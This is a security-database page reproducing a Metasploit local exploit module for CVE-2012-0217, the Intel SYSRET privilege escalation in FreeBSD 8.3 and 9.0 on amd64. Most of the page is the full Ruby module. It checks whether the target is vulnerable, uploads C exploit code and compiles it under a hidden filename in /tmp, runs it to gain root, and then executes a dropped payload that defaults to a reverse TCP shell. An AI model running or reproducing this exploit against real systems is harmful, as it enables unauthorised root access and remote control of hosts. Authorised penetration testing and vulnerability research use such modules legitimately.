FreeBSD Intel SYSRET Privilege Escalation

2018-12-09T16:04:38
ID MSF:EXPLOIT/FREEBSD/LOCAL/INTEL_SYSRET_PRIV_ESC
Type metasploit
Reporter Rapid7
Modified 2020-07-18T23:31:34

Description

This module exploits a vulnerability in the FreeBSD kernel, when running on 64-bit Intel processors. By design, 64-bit processors following the X86-64 specification will trigger a general protection fault (GPF) when executing a SYSRET instruction with a non-canonical address in the RCX register. However, Intel processors check for a non-canonical address prior to dropping privileges, causing a GPF in privileged mode. As a result, the current userland RSP stack pointer is restored and executed, resulting in privileged code execution. This module has been tested successfully on: FreeBSD 8.3-RELEASE (amd64); and FreeBSD 9.0-RELEASE (amd64).

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GreatRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Post::File
  include Msf::Post::Unix
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'FreeBSD Intel SYSRET Privilege Escalation',
        'Description' => %q{
          This module exploits a vulnerability in the FreeBSD kernel,
          when running on 64-bit Intel processors.

          By design, 64-bit processors following the X86-64 specification will
          trigger a general protection fault (GPF) when executing a SYSRET
          instruction with a non-canonical address in the RCX register.

          However, Intel processors check for a non-canonical address prior to
          dropping privileges, causing a GPF in privileged mode. As a result,
          the current userland RSP stack pointer is restored and executed,
          resulting in privileged code execution.

          This module has been tested successfully on:

          FreeBSD 8.3-RELEASE (amd64); and
          FreeBSD 9.0-RELEASE (amd64).
        },
        'License' => MSF_LICENSE,
        'Author' =>
          [
            'Rafal Wojtczuk', # Discovery
            'John Baldwin', # Discovery
            'iZsh', # Exploit
            'bcoles' # Metasploit
          ],
        'DisclosureDate' => '2012-06-12',
        'Platform' => ['bsd'], # FreeBSD
        'Arch' => [ARCH_X64],
        'SessionTypes' => ['shell'],
        'References' =>
          [
            ['BID', '53856'],
            ['CVE', '2012-0217'],
            ['EDB', '28718'],
            ['PACKETSTORM', '113584'],
            ['URL', 'https://www.freebsd.org/security/patches/SA-12:04/sysret.patch'],
            ['URL', 'https://blog.xenproject.org/2012/06/13/the-intel-sysret-privilege-escalation/'],
            ['URL', 'https://github.com/iZsh/exploits/blob/master/stash/CVE-2012-0217-sysret/CVE-2012-0217-sysret_FreeBSD.c'],
            ['URL', 'https://fail0verflow.com/blog/2012/cve-2012-0217-intel-sysret-freebsd/'],
            ['URL', 'http://security.freebsd.org/advisories/FreeBSD-SA-12:04.sysret.asc'],
            ['URL', 'https://www.slideshare.net/nkslides/exploiting-the-linux-kernel-via-intels-sysret-implementation']
          ],
        'Targets' =>
          [
            ['Automatic', {}]
          ],
        'DefaultOptions' => { 'PAYLOAD' => 'bsd/x64/shell_reverse_tcp' },
        'DefaultTarget' => 0
      )
    )
    register_advanced_options([
      OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
    ])
  end

  def base_dir
    datastore['WritableDir'].to_s
  end

  def upload(path, data)
    print_status("Writing '#{path}' (#{data.size} bytes) ...")
    rm_f(path)
    write_file(path, data)
    register_file_for_cleanup(path)
  end

  def upload_and_compile(path, data, _cc_args = '')
    upload("#{path}.c", data)

    cc_cmd = "cc -o #{path} #{path}.c"
    if session.type.eql?('shell')
      cc_cmd = "PATH=$PATH:/usr/bin/ #{cc_cmd}"
    end
    output = cmd_exec(cc_cmd)

    unless output.blank?
      print_error(output)
      fail_with(Failure::Unknown, "#{path}.c failed to compile")
    end

    register_file_for_cleanup(path)
    chmod(path)
  end

  def strip_comments(c_code)
    c_code.gsub(%r{/\*.*?\*/}m, '').gsub(%r{^\s*//.*$}, '')
  end

  def check
    kernel_release = cmd_exec('uname -r').to_s
    unless kernel_release =~ /^(8\.3|9\.0)-RELEASE/
      return CheckCode::Safe("FreeBSD version #{kernel_release} is not vulnerable")
    end
    vprint_good("FreeBSD version #{kernel_release} appears vulnerable")

    kernel_arch = cmd_exec('uname -m').to_s
    unless kernel_arch.include?('64')
      return CheckCode::Safe("System architecture #{kernel_arch} is not supported")
    end
    vprint_good("System architecture #{kernel_arch} is supported")

    hw_model = cmd_exec('/sbin/sysctl hw.model').to_s
    unless hw_model.downcase.include?('intel')
      return CheckCode::Safe("#{hw_model} is not vulnerable")
    end
    vprint_good("#{hw_model} is vulnerable")

    CheckCode::Appears
  end

  def exploit
    if is_root?
      unless datastore['ForceExploit']
        fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
      end
    end

    unless writable?(base_dir)
      fail_with(Failure::BadConfig, "#{base_dir} is not writable")
    end

    # Upload and compile exploit executable
    executable_name = ".#{rand_text_alphanumeric(5..10)}"
    executable_path = "#{base_dir}/#{executable_name}"
    upload_and_compile(executable_path, strip_comments(exploit_data('cve-2012-0217', 'sysret.c')), '-Wall')

    # Upload payload executable
    payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
    upload_and_chmodx(payload_path, generate_payload_exe)

    # Launch exploit
    print_status('Launching exploit...')
    output = cmd_exec(executable_path)
    output.each_line { |line| vprint_status line.chomp }

    unless is_root?
      fail_with(Failure::Unknown, 'Exploitation failed')
    end
    print_good('Success! Executing payload...')

    cmd_exec("#{payload_path} & echo ")
  end
end